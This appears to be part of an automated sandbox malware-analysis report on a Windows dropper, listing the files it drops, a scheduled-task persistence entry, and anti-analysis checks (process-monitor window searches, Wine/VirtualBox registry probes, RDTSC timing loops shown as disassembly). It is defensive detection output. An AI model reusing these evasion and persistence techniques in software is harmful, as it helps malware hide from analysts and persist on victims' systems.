Source: KKFBAAFCGI.exe.0.dr	Static PE information: section name: .idata
Source: KKFBAAFCGI.exe.0.dr	Static PE information: section name: jkwpbhob
Source: KKFBAAFCGI.exe.0.dr	Static PE information: section name: stfuboxc
Source: KKFBAAFCGI.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name: jkwpbhob
Source: skotes.exe.14.dr	Static PE information: section name: stfuboxc
Source: skotes.exe.14.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B536 push ecx; ret	0_2_6C99B549
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Code function: 14_2_004BD91C push ecx; ret	14_2_004BD92F
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Code function: 14_2_004B1359 push es; ret	14_2_004B135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00E6D91C push ecx; ret	15_2_00E6D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00E6D91C push ecx; ret	16_2_00E6D92F

Source: file.exe	Static PE information: section name: jimnplje entropy: 7.955093016033942
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.114822789585566
Source: KKFBAAFCGI.exe.0.dr	Static PE information: section name: entropy: 7.114822789585566
Source: skotes.exe.14.dr	Static PE information: section name: entropy: 7.114822789585566

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\KKFBAAFCGI.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\KKFBAAFCGI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\KKFBAAFCGI.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9C55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9C55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C983A7 second address: C983AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C983AB second address: C983C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007FA328DF73B0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3B46 second address: CA3B6C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA32872BAE8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007FA32872BAECh 0x00000012 pushad 0x00000013 popad 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3B6C second address: CA3B96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA328DF73ABh 0x00000007 jmp 00007FA328DF73B7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3B96 second address: CA3B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3B9A second address: CA3B9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3B9E second address: CA3BA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3FE6 second address: CA3FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3FEE second address: CA3FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3FF4 second address: CA3FF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4305 second address: CA430B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA430B second address: CA4314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4314 second address: CA431E instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA32872BAE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA431E second address: CA4330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FA328DF73A8h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4330 second address: CA4334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6A62 second address: CA6A82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA328DF73B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6A82 second address: CA6AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA32872BAF1h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d jmp 00007FA32872BAEBh 0x00000012 pop edi 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push ecx 0x00000018 push edi 0x00000019 jmp 00007FA32872BAF0h 0x0000001e pop edi 0x0000001f pop ecx 0x00000020 mov eax, dword ptr [eax] 0x00000022 pushad 0x00000023 jo 00007FA32872BAE8h 0x00000029 pushad 0x0000002a popad 0x0000002b pushad 0x0000002c pushad 0x0000002d popad 0x0000002e jmp 00007FA32872BAF7h 0x00000033 popad 0x00000034 popad 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jng 00007FA32872BAE8h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6AF4 second address: CA6AF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6AF9 second address: CA6AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6BE6 second address: CA6C04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA328DF73B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6C04 second address: CA6C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6C0A second address: CA6C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA328DF73ACh 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d je 00007FA328DF73AEh 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6C27 second address: CA6CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 jmp 00007FA32872BAEFh 0x0000000e pop eax 0x0000000f mov ecx, dword ptr [ebp+122D2583h] 0x00000015 push 00000003h 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007FA32872BAE8h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 jc 00007FA32872BAEEh 0x00000037 jl 00007FA32872BAE8h 0x0000003d mov dh, CEh 0x0000003f push 00000000h 0x00000041 jc 00007FA32872BAEBh 0x00000047 mov edi, 48BE59EEh 0x0000004c push 00000003h 0x0000004e mov dword ptr [ebp+122D223Ah], edi 0x00000054 call 00007FA32872BAE9h 0x00000059 jmp 00007FA32872BAF6h 0x0000005e push eax 0x0000005f pushad 0x00000060 je 00007FA32872BAE8h 0x00000066 pushad 0x00000067 popad 0x00000068 jmp 00007FA32872BAEDh 0x0000006d popad 0x0000006e mov eax, dword ptr [esp+04h] 0x00000072 jnp 00007FA32872BAFFh 0x00000078 mov eax, dword ptr [eax] 0x0000007a push eax 0x0000007b push edx 0x0000007c pushad 0x0000007d pushad 0x0000007e popad 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6CEF second address: CA6CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6CF4 second address: CA6D69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jno 00007FA32872BAECh 0x00000014 push ecx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 pop eax 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007FA32872BAE8h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 mov edx, dword ptr [ebp+122D3746h] 0x0000003a lea ebx, dword ptr [ebp+1245A9A2h] 0x00000040 push ecx 0x00000041 mov edi, dword ptr [ebp+122D1EC2h] 0x00000047 pop ecx 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b jnp 00007FA32872BAE8h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6D69 second address: CA6D73 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA328DF73ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6E85 second address: CA6ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 add dword ptr [esp], 1A84E81Dh 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FA32872BAE8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 mov edx, 7F8591C3h 0x0000002c lea ebx, dword ptr [ebp+1245A9ABh] 0x00000032 movsx esi, cx 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FA32872BAF6h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6ED5 second address: CA6EF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA328DF73B9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6F89 second address: CA6F8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6F8E second address: CA6FA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jns 00007FA328DF73A6h 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6FA2 second address: CA6FAC instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA32872BAECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6FAC second address: CA6FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FA328DF73AFh 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 je 00007FA328DF73A8h 0x00000018 push eax 0x00000019 pop eax 0x0000001a jo 00007FA328DF73A8h 0x00000020 push edi 0x00000021 pop edi 0x00000022 popad 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a push esi 0x0000002b pop esi 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6FE2 second address: CA6FE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC93C9 second address: CC93CE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D687 second address: C9D693 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA32872BAE6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D693 second address: C9D6A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jng 00007FA328DF73A6h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC732A second address: CC7349 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FA32872BAF9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7349 second address: CC734E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC734E second address: CC7371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FA32872BAE6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007FA32872BAE6h 0x00000015 jmp 00007FA32872BAEEh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7BBE second address: CC7BC3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7FDD second address: CC7FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA32872BAF1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8469 second address: CC846D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBD4B8 second address: CBD4C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FA32872BAEEh 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBD4C6 second address: CBD4EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jmp 00007FA328DF73B6h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FA328DF73A6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99F1E second address: C99F2B instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA32872BAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8F7C second address: CC8F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCCFF2 second address: CCD005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FA32872BAE6h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FA32872BAE6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD005 second address: CCD009 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94F10 second address: C94F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94F15 second address: C94F29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FA328DF73AEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94F29 second address: C94F2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
